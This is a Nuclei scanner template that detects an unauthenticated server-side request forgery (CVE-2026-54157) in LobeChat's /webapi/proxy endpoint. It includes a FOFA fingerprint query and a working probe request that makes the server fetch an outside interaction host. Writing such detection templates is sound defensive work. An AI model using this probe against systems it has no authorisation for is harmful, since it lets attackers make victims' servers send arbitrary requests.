id: CVE-2026-54157

info:
  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
  author: 0xj3st3r
  severity: medium
  description: |
    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.
  impact: |
    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.
  remediation: |
    Upgrade LobeHub LobeChat to version 2.1.57 or later.
  reference:
    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157
  classification:
    cve-id: CVE-2026-54157
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2026,lobechat,ssrf,vuln,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /webapi/proxy HTTP/1.1
        Host: {{Hostname}}

        http://oast.me

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<h1> Interactsh Server </h1>")'
        condition: and
# digest: 490a004630440220456386f9f8238a9b281d600af23dbe337e5ccbf20ff41f31faf8ebcee284dc2e02207acf981f4d5aa4f652928dd4137262f3582b99740c3bdc2af6f3096be31adfbd:922c64590222798bb761d5b6d8e72950